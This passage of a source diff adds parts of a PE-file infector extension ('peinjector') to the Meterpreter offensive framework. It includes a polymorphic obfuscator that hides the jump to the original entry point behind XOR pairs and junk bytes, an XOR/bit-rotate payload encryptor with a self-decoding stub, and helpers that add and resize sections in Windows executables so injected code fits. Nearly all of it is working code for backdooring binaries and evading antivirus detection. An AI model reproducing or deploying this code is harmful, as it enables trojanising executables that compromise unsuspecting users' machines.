__peinfector_obfuscator_build_relative_jmp(shellcode_buf, 0, OP_JMP, jmp_delta);
|
||||
pos = 2;
|
||||
|
||||
/* Write shellcode, garbage and jmps */
|
||||
for (i = 0; i < (int) shellcode->entrys; ++i) {
|
||||
/* Write payload data*/
|
||||
/* Write garbage */
|
||||
if (shellcode->entry[i].garbage != NULL) {
|
||||
memcpy(shellcode_buf + pos, shellcode->entry[i].garbage, shellcode->entry[i].garbagesize);
|
||||
}
|
||||
pos += shellcode->entry[i].garbagesize;
|
||||
|
||||
/* Write shellcode data */
|
||||
if (shellcode->entry[i].code != NULL) {
|
||||
memcpy(shellcode_buf + pos, shellcode->entry[i].code, shellcode->entry[i].codesize);
|
||||
}
|
||||
pos += shellcode->entry[i].codesize + 2;
|
||||
|
||||
/* Write jmps */
|
||||
/* Position of jmp cmd */
|
||||
jmp_pos = __peinfector_obfuscator_shellcode_get_jmp_pos(shellcode, shellcode->entry[i].index);
|
||||
/* Difference to next entry */
|
||||
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index,
|
||||
shellcode->entry[i].target);
|
||||
|
||||
switch (shellcode->entry[i].type) {
|
||||
case TYPE_CMD:
|
||||
case TYPE_JMP:
|
||||
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_JMP, jmp_delta);
|
||||
break;
|
||||
case TYPE_LOOP:
|
||||
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_LOOP, jmp_delta - 2);
|
||||
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index,
|
||||
shellcode->entry[i].index + 1);
|
||||
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos + 2, OP_JMP, jmp_delta);
|
||||
break;
|
||||
case TYPE_CALL:
|
||||
__peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_CALL, jmp_delta);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return result */
|
||||
return shellcode_buf;
|
||||
}
|
||||
|
||||
/* Random uint32 */
|
||||
static uint32_t __peinfect_obfuscator_random_uint32() {
|
||||
uint32_t i, p;
|
||||
p = rand();
|
||||
for (i = 0; i < 2; ++i) {
|
||||
p <<= 16;
|
||||
p |= rand();
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
/* Build XOR pair for value, 32 bit*/
|
||||
static void __peinfect_obfuscator_build_xor_pair_x86(uint32_t value, uint32_t *p1, uint32_t *p2) {
|
||||
uint32_t i;
|
||||
*p1 = rand();
|
||||
for (i = 0; i < 2; ++i) {
|
||||
*p1 <<= 16;
|
||||
*p1 |= rand();
|
||||
}
|
||||
*p2 = value ^ *p1;
|
||||
}
|
||||
|
||||
/* Build XOR pair for value, 64 bit*/
|
||||
static void __peinfect_obfuscator_build_xor_pair_x64(uint64_t value, uint64_t *p1, uint64_t *p2) {
|
||||
uint32_t i;
|
||||
*p1 = rand();
|
||||
for (i = 0; i < 4; ++i) {
|
||||
*p1 <<= 16;
|
||||
*p1 |= rand();
|
||||
}
|
||||
*p2 = value ^ *p1;
|
||||
}
|
||||
|
||||
unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize) {
|
||||
uint32_t ep_x86, p1_x86, p2_x86;
|
||||
uint64_t ep_x64, p1_x64, p2_x64;
|
||||
unsigned char *jmp_payload = NULL;
|
||||
static bool add_garbage = true;
|
||||
bool error = true;
|
||||
char tmp[10] = { 0 };
|
||||
|
||||
/* Takes EntryPoint (ep) and generates an random value p1 and p2 = ep xor
|
||||
*
|
||||
* Then polymorphic engine creates obfuscated version of the following assembly.
|
||||
*
|
||||
* ASM: (x64: rax, rbx) (Could be done with less commands, but with more commands
|
||||
* the polymorphic engine can create more variants)
|
||||
*
|
||||
* mov eax, p1
|
||||
* mov ebx, p2
|
||||
* xor eax, ebx
|
||||
* xor ebx, ebx
|
||||
* push eax
|
||||
* xor eax
|
||||
* retn
|
||||
*/
|
||||
|
||||
/* Shellcode obfuscator engine */
|
||||
SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new();
|
||||
if (shellcode == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Cruel solution, but keeps code clean */
|
||||
for (;;) {
|
||||
/* Get entry point (VA, not RVA) and build hidden jmp */
|
||||
if (pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
ep_x86 = pe->optional_header_32.ImageBase + pe->optional_header_32.AddressOfEntryPoint;
|
||||
/* Build XOR pair*/
|
||||
__peinfect_obfuscator_build_xor_pair_x86(ep_x86, &p1_x86, &p2_x86);
|
||||
|
||||
/* Build return x86 */
|
||||
/* mov eax, p1*/
|
||||
tmp[0] = '\xb8';
|
||||
memcpy(tmp + 1, &p1_x86, sizeof(uint32_t));
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* mov ebx, p2*/
|
||||
tmp[0] = '\xbb';
|
||||
memcpy(tmp + 1, &p2_x86, sizeof(uint32_t));
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* xor eax, ebx*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xd8", 2, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* xor ebx, ebx*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xdb", 2, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* push eax*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* xor eax, eax*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xc0", 2, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* ret*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
} else {
|
||||
ep_x64 = pe->optional_header_64.ImageBase + pe->optional_header_64.AddressOfEntryPoint;
|
||||
/* Build XOR pair*/
|
||||
__peinfect_obfuscator_build_xor_pair_x64(ep_x64, &p1_x64, &p2_x64);
|
||||
|
||||
/* x64 Mode (Some garbage entrys are not allowed) */
|
||||
__peinfector_obfuscator_shellcode_set_x64(shellcode, true);
|
||||
|
||||
/* Build return x64 */
|
||||
/* mov rax, p1*/
|
||||
tmp[0] = '\x48';
|
||||
tmp[1] = '\xb8';
|
||||
memcpy(tmp + 2, &p1_x64, sizeof(uint64_t));
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* mov rbx, p2*/
|
||||
tmp[1] = '\xbb';
|
||||
memcpy(tmp + 2, &p2_x64, sizeof(uint64_t));
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* xor rax, rbx*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xd8", 3, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* xor rbx, rbx*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xdb", 3, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* push rax*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* xor rax, rax*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xc0", 3, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* ret*/
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Everything ok */
|
||||
error = false;
|
||||
break;
|
||||
}
|
||||
|
||||
/* Generate */
|
||||
if (!error) {
|
||||
jmp_payload = __peinfector_obfuscator_shellcode_generate(shellcode, jmpsize);
|
||||
}
|
||||
|
||||
/* Free shellcode obfuscator engine */
|
||||
__peinfector_obfuscator_shellcode_free(shellcode);
|
||||
|
||||
return jmp_payload;
|
||||
}
|
||||
|
||||
unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *decryptersize,
|
||||
bool x64) {
|
||||
bool add_garbage = false; /* temp. disable garbage insertion because of errors on x86 plattform */
|
||||
bool error = true;
|
||||
size_t i = 0;
|
||||
size_t totalsize = 0;
|
||||
unsigned char *decrypter = NULL;
|
||||
unsigned char *encrypted = NULL;
|
||||
char tmp[10] = { 0 };
|
||||
int label_decode = 0;
|
||||
int label_getaddr = 0;
|
||||
/* Random keys (rnd1 = bit-shift, rnd2 = xor) */
|
||||
unsigned char rnd1 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 7);
|
||||
unsigned char rnd2 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 255);
|
||||
|
||||
/*
|
||||
* x86/x64 produces the same code
|
||||
*
|
||||
* _start:
|
||||
* jmp short encoded ; Load Address
|
||||
* getaddr:
|
||||
* pop ebx ; stores data
|
||||
* mov ecx, xxxxxxxx ; shellcode size
|
||||
* decode:
|
||||
* ror byte ptr [ecx + ebx - 1], rnd ; Random Bit Rotate
|
||||
* xor byte ptr [ecx + ebx - 1], rnd2 ; Random XOr
|
||||
* loop short decode
|
||||
*
|
||||
* jmp ebx ; jmp to shellcode
|
||||
* encoded:
|
||||
* call getaddr
|
||||
* ; Shellcode
|
||||
* end _start
|
||||
*/
|
||||
|
||||
/* Shellcode obfuscator engine */
|
||||
SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new();
|
||||
if (shellcode == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* x64 Mode (Some garbage entrys are not allowed) */
|
||||
__peinfector_obfuscator_shellcode_set_x64(shellcode, x64);
|
||||
|
||||
/* Last command must be at last position */
|
||||
__peinfector_obfuscator_shellcode_fix_last(shellcode, true);
|
||||
|
||||
for (;;) {
|
||||
/* jmp encoded */
|
||||
if (__peinfector_obfuscator_shellcode_add_jmp(shellcode, 7, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* getaddr: */
|
||||
/* pop ebx */
|
||||
if ((label_getaddr = __peinfector_obfuscator_shellcode_add_entry(shellcode, "\x5b", 1, add_garbage)) < 0) {
|
||||
break;
|
||||
}
|
||||
/* set ecx, length */
|
||||
tmp[0] = '\xb9';
|
||||
memcpy(&tmp[1], &payloadsize, sizeof(uint32_t));
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* decode: */
|
||||
/* ror byte ptr [ecx + ebx - 1], rn1 */
|
||||
tmp[4] = rnd1;
|
||||
memcpy(&tmp[0], "\xc0\x4c\x0b\xff", 4);
|
||||
if ((label_decode = __peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage)) < 0) {
|
||||
break;
|
||||
}
|
||||
/* xor byte ptr [ecx + ebx - 1], rnd2 */
|
||||
tmp[4] = rnd2;
|
||||
memcpy(&tmp[0], "\x80\x74\x19\xff", 4);
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* loop decode */
|
||||
if (__peinfector_obfuscator_shellcode_add_loop(shellcode, label_decode, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* jmp ebx */
|
||||
if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xff\xe3", 2, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
/* encoded: */
|
||||
/* call getaddr */
|
||||
if (__peinfector_obfuscator_shellcode_add_call(shellcode, label_getaddr, add_garbage) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
error = false;
|
||||
break;
|
||||
}
|
||||
|
||||
/* Generate */
|
||||
if (!error) {
|
||||
decrypter = __peinfector_obfuscator_shellcode_generate(shellcode, decryptersize);
|
||||
}
|
||||
|
||||
/* Free shellcode obfuscator engine */
|
||||
__peinfector_obfuscator_shellcode_free(shellcode);
|
||||
|
||||
/* Add payload */
|
||||
if (decrypter != NULL) {
|
||||
/* Add payload and encode */
|
||||
totalsize = *decryptersize + payloadsize;
|
||||
encrypted = realloc(decrypter, *decryptersize + payloadsize);
|
||||
if (encrypted == NULL) {
|
||||
free(decrypter);
|
||||
return NULL;
|
||||
}
|
||||
memcpy(encrypted + *decryptersize, payload, payloadsize);
|
||||
|
||||
/* Encode */
|
||||
for (i = *decryptersize; i < totalsize; ++i) {
|
||||
encrypted[i] ^= rnd2;
|
||||
encrypted[i] = ((encrypted[i] << rnd1) | (encrypted[i] >> (8 - rnd1))) & 0xff;
|
||||
}
|
||||
*decryptersize = totalsize;
|
||||
}
|
||||
|
||||
return encrypted;
|
||||
}
|
34
c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h
Executable file
34
c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h
Executable file
@ -0,0 +1,34 @@
|
||||
/**
|
||||
* \file libpeinfect_obfuscator.h
|
||||
* \brief peinfect obfuscator sub-library
|
||||
*/
|
||||
|
||||
#ifndef LIBPEINFECT_OBFUSCATOR_H_
|
||||
#define LIBPEINFECT_OBFUSCATOR_H_
|
||||
|
||||
#include "libpeinfect.h"
|
||||
|
||||
/**
|
||||
* Build obfuscated jump to entry point (ep)
|
||||
*
|
||||
* \param pe PEFILE to build jump
|
||||
* \param jumpsize Size of generated shellcode
|
||||
*
|
||||
* \return shellcode if success, NULL otherwise
|
||||
*/
|
||||
unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize);
|
||||
|
||||
/**
|
||||
* Encodes payload and attaches obfuscated decoder stub
|
||||
*
|
||||
* \param payload Payload to encode
|
||||
* \param payloadsize Size of payload
|
||||
* \param encodedsize Size of generated shellcode
|
||||
* \param x64 Enables x64 mode
|
||||
*
|
||||
* \return shellcode if success, NULL otherwise
|
||||
*/
|
||||
unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *encodedsize,
|
||||
bool x64);
|
||||
|
||||
#endif /* LIBPEINFECT_OBFUSCATOR_H_ */
|
399
c/meterpreter/source/extensions/peinjector/libpetool.c
Executable file
399
c/meterpreter/source/extensions/peinjector/libpetool.c
Executable file
@ -0,0 +1,399 @@
|
||||
/*
|
||||
* \file libpetool.c
|
||||
* \brief Applies complex operations on a given PE FILE
|
||||
*/
|
||||
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
#include "libpetool.h"
|
||||
|
||||
/* Min/Max Macros */
|
||||
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
|
||||
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
|
||||
|
||||
/* Align value */
|
||||
static uint32_t __petool_align(uint32_t value, uint32_t alignment) {
|
||||
return (value % alignment > 0) ? value + alignment - (value % alignment) : value;
|
||||
}
|
||||
|
||||
/* Adjusting values in the optional header */
|
||||
static void __petool_adjust_optional_header(PEFILE *out) {
|
||||
size_t i = 0;
|
||||
uint32_t size_of_code = 0;
|
||||
uint32_t size_of_initialized_data = 0;
|
||||
uint32_t size_of_uninitialized_data = 0;
|
||||
bool is_32_bit = false;
|
||||
uint32_t sizeofimage;
|
||||
|
||||
/* Default values (PE COFF Specification) */
|
||||
size_t section_alignment = NT_SECTION_ALIGNMENT;
|
||||
|
||||
/* Check if 32/64 bit header */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
is_32_bit = true;
|
||||
section_alignment = out->optional_header_32.SectionAlignment;
|
||||
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
|
||||
is_32_bit = false;
|
||||
section_alignment = out->optional_header_64.SectionAlignment;
|
||||
} else {
|
||||
|
||||
/* Nothing to adjust */
|
||||
return;
|
||||
}
|
||||
|
||||
/* Sum up over sections */
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE) {
|
||||
size_of_code += out->section_header[i].Misc.VirtualSize;
|
||||
}
|
||||
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
|
||||
size_of_initialized_data += out->section_header[i].Misc.VirtualSize;
|
||||
}
|
||||
if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
|
||||
size_of_uninitialized_data += out->section_header[i].Misc.VirtualSize;
|
||||
}
|
||||
}
|
||||
|
||||
/* Align SizeOfImage to Section Alignment */
|
||||
sizeofimage = __petool_align(
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress
|
||||
+ out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize, section_alignment);
|
||||
|
||||
/* Write new values into required fields */
|
||||
if (is_32_bit) {
|
||||
out->optional_header_32.SizeOfImage = sizeofimage;
|
||||
out->optional_header_32.SizeOfCode = size_of_code;
|
||||
out->optional_header_32.SizeOfInitializedData = size_of_initialized_data;
|
||||
out->optional_header_32.SizeOfUninitializedData = size_of_uninitialized_data;
|
||||
} else {
|
||||
|
||||
out->optional_header_64.SizeOfImage = sizeofimage;
|
||||
out->optional_header_64.SizeOfCode = size_of_code;
|
||||
out->optional_header_64.SizeOfInitializedData = size_of_initialized_data;
|
||||
out->optional_header_64.SizeOfUninitializedData = size_of_uninitialized_data;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/* Increases the header padding with the given size */
|
||||
static bool __petool_increase_header_padding(size_t size, PEFILE *out) {
|
||||
size_t i = 0;
|
||||
unsigned char *new_header_padding = NULL;
|
||||
size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
|
||||
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
|
||||
|
||||
new_header_padding = realloc(out->header_padding.mem, out->header_padding.memsize + size);
|
||||
/* Couldn't reallocate memory */
|
||||
if (new_header_padding == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* No way to resize without damaging code execution */
|
||||
/* Sorry for this cruel if .. */
|
||||
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)
|
||||
&& ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|
||||
|| (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC))
|
||||
&& (header_raw_end + out->header_padding.memsize + size) > out->section_header[0].VirtualAddress) {
|
||||
/* Reset header padding */
|
||||
out->header_padding.mem = realloc(new_header_padding, out->header_padding.memsize);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Increase at head */
|
||||
memmove(new_header_padding + size, new_header_padding, out->header_padding.memsize);
|
||||
memset(new_header_padding, 0, size);
|
||||
out->header_padding.mem = new_header_padding;
|
||||
out->header_padding.memsize += size;
|
||||
|
||||
/* Fix SizeOfHeaders */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
if (out->optional_header_32.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) {
|
||||
out->optional_header_32.SizeOfHeaders = header_raw_end + out->header_padding.memsize;
|
||||
}
|
||||
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
|
||||
if (out->optional_header_64.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) {
|
||||
out->optional_header_64.SizeOfHeaders = header_raw_end + out->header_padding.memsize;
|
||||
}
|
||||
}
|
||||
|
||||
/* Fix section positions */
|
||||
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) {
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
out->section_header[i].PointerToRawData += size;
|
||||
}
|
||||
}
|
||||
|
||||
/* Fix additional data positions */
|
||||
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
|
||||
for (i = 0; i < out->additional_count; ++i) {
|
||||
out->additional_data[i].position += size;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only,
|
||||
PEFILE *out) {
|
||||
|
||||
uint32_t old_raw_size = 0;
|
||||
uint32_t diff = 0;
|
||||
bool shrink = false;
|
||||
bool raw_change = false;
|
||||
unsigned char *newmem = NULL;
|
||||
int i = 0;
|
||||
|
||||
/* Default values (PE COFF Specification) */
|
||||
size_t file_alignment = NT_FILE_ALIGNMENT;
|
||||
|
||||
/* No Section Headers*/
|
||||
if (out->section_header == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Section Index out of bounds */
|
||||
if (out->pe_header.NumberOfSections <= section_index) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Virtual Size won't fit */
|
||||
if ((out->pe_header.NumberOfSections < (section_index + 1))
|
||||
&& ((out->section_header[section_index].VirtualAddress + new_virtual_size)
|
||||
> out->section_header[section_index + 1].VirtualAddress)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Nothing to do */
|
||||
if (!(raw_change = (new_raw_size != out->section_header[section_index].SizeOfRawData))
|
||||
&& out->section_header[section_index].Misc.VirtualSize == new_virtual_size) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try to change raw size of section nested in another section, this won't work ... */
|
||||
if (raw_change) {
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
if ((section_index != i)
|
||||
&& (out->section_header[i].PointerToRawData <= out->section_header[section_index].PointerToRawData)
|
||||
&& ((out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData)
|
||||
>= (out->section_header[section_index].PointerToRawData + out->section_header[section_index].SizeOfRawData))) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* New Virtual Size */
|
||||
out->section_header[section_index].Misc.VirtualSize = new_virtual_size;
|
||||
|
||||
/* Only needed if RawSize was changed */
|
||||
if (raw_change) {
|
||||
|
||||
/* Save old raw size*/
|
||||
old_raw_size = out->section_header[section_index].SizeOfRawData;
|
||||
|
||||
/* Try to load specific alignments */
|
||||
/* x86 */
|
||||
if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|
||||
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) {
|
||||
file_alignment = out->optional_header_32.FileAlignment;
|
||||
|
||||
/* x64 */
|
||||
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC
|
||||
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) {
|
||||
file_alignment = out->optional_header_64.FileAlignment;
|
||||
}
|
||||
|
||||
/* Align new raw size */
|
||||
new_raw_size = __petool_align(new_raw_size, file_alignment);
|
||||
|
||||
/* Set new RawSize */
|
||||
out->section_header[section_index].SizeOfRawData = new_raw_size;
|
||||
|
||||
/* Get Size difference */
|
||||
if (new_raw_size > old_raw_size) {
|
||||
diff = new_raw_size - old_raw_size;
|
||||
shrink = false;
|
||||
} else {
|
||||
diff = old_raw_size - new_raw_size;
|
||||
shrink = true;
|
||||
}
|
||||
|
||||
/* Fix section offsets*/
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
if (out->section_header[i].PointerToRawData
|
||||
>= (out->section_header[section_index].PointerToRawData + old_raw_size)) {
|
||||
shrink ? (out->section_header[i].PointerToRawData -= diff) : (out->section_header[i].PointerToRawData += diff);
|
||||
}
|
||||
}
|
||||
|
||||
/* Resize section memory */
|
||||
if (!header_only) {
|
||||
if (out->section_data == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try resize */
|
||||
newmem = realloc(out->section_data[section_index].mem, new_raw_size);
|
||||
if (newmem == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Set new Memory */
|
||||
out->section_data[section_index].mem = newmem;
|
||||
out->section_data[section_index].memsize = new_raw_size;
|
||||
|
||||
/* Fix additional data positions */
|
||||
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
|
||||
for (i = 0; i < out->additional_count; ++i) {
|
||||
if (out->additional_data[i].position
|
||||
>= (out->section_header[section_index].PointerToRawData + old_raw_size)) {
|
||||
shrink ? (out->additional_data[i].position -= diff) : (out->additional_data[i].position += diff);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Adjust Optional Header*/
|
||||
__petool_adjust_optional_header(out);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize,
|
||||
bool header_only, PEFILE *out) {
|
||||
SECTION_HEADER *new_section_header = NULL;
|
||||
DATA_BLOBC *new_section_data = NULL;
|
||||
size_t i;
|
||||
size_t last_section_rva = 0;
|
||||
size_t last_section_virtualsize = 0;
|
||||
size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
|
||||
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
|
||||
|
||||
/* Default values (PE COFF Specification) */
|
||||
size_t section_alignment = NT_SECTION_ALIGNMENT;
|
||||
size_t file_alignment = NT_FILE_ALIGNMENT;
|
||||
unsigned char *section_mem = NULL;
|
||||
size_t section_memsize = 0;
|
||||
size_t section_raw_pointer = 0;
|
||||
size_t section_rva;
|
||||
|
||||
/* Try to load specific alignments */
|
||||
/* x86 */
|
||||
if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|
||||
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) {
|
||||
section_alignment = out->optional_header_32.SectionAlignment;
|
||||
file_alignment = out->optional_header_32.FileAlignment;
|
||||
last_section_rva = out->optional_header_32.BaseOfCode;
|
||||
|
||||
/* x64 */
|
||||
} else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC
|
||||
&& (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) {
|
||||
section_alignment = out->optional_header_64.SectionAlignment;
|
||||
file_alignment = out->optional_header_64.FileAlignment;
|
||||
last_section_rva = out->optional_header_64.BaseOfCode;
|
||||
}
|
||||
|
||||
/* Increase header padding till the new header fits */
|
||||
while (out->header_padding.memsize < sizeof(SECTION_HEADER)) {
|
||||
if (!__petool_increase_header_padding(file_alignment, out)) {
|
||||
|
||||
/* Something went wrong*/
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Move padding */
|
||||
memmove(out->header_padding.mem, out->header_padding.mem + sizeof(SECTION_HEADER),
|
||||
out->header_padding.memsize - sizeof(SECTION_HEADER));
|
||||
out->header_padding.memsize -= sizeof(SECTION_HEADER);
|
||||
|
||||
/* Try find position of last section */
|
||||
if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) {
|
||||
last_section_rva = out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
|
||||
last_section_virtualsize = out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize;
|
||||
|
||||
/* Sections can be nested inside other sections */
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
section_raw_pointer = MAX(section_raw_pointer,
|
||||
out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData);
|
||||
}
|
||||
|
||||
} else {
|
||||
section_raw_pointer = header_raw_end + out->header_padding.memsize;
|
||||
}
|
||||
|
||||
/* Resize holder structures */
|
||||
out->pe_header.NumberOfSections++;
|
||||
new_section_header = realloc(out->section_header, out->pe_header.NumberOfSections * sizeof(SECTION_HEADER));
|
||||
/* Couldn't allocate memory */
|
||||
if (new_section_header == NULL) {
|
||||
return false;
|
||||
}
|
||||
out->section_header = new_section_header;
|
||||
|
||||
if (!header_only) {
|
||||
new_section_data = realloc(out->section_data, out->pe_header.NumberOfSections * sizeof(DATA_BLOBC));
|
||||
/* Couldn't allocate memory */
|
||||
if (new_section_data == NULL) {
|
||||
return false;
|
||||
}
|
||||
out->section_data = new_section_data;
|
||||
}
|
||||
|
||||
/* Calculate padded raw size & relative virtual address */
|
||||
section_memsize = __petool_align(memsize, file_alignment);
|
||||
section_rva = __petool_align(last_section_rva + last_section_virtualsize, section_alignment);
|
||||
|
||||
/* Header only, don't modify data */
|
||||
if (!header_only) {
|
||||
/* Allocate new section memory */
|
||||
section_mem = malloc(section_memsize);
|
||||
/* Couldn't allocate memory */
|
||||
if (section_mem == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Copy memory to section memory and clear rest */
|
||||
if (mem != NULL) {
|
||||
memcpy(section_mem, mem, memsize);
|
||||
memset(section_mem + memsize, 0, section_memsize - memsize);
|
||||
} else {
|
||||
memset(section_mem, 0, section_memsize);
|
||||
}
|
||||
|
||||
/* Store section data */
|
||||
out->section_data[out->pe_header.NumberOfSections - 1].mem = section_mem;
|
||||
out->section_data[out->pe_header.NumberOfSections - 1].memsize = section_memsize;
|
||||
|
||||
}
|
||||
|
||||
/* New Section Header */
|
||||
memset(&out->section_header[out->pe_header.NumberOfSections - 1], 0, sizeof(SECTION_HEADER));
|
||||
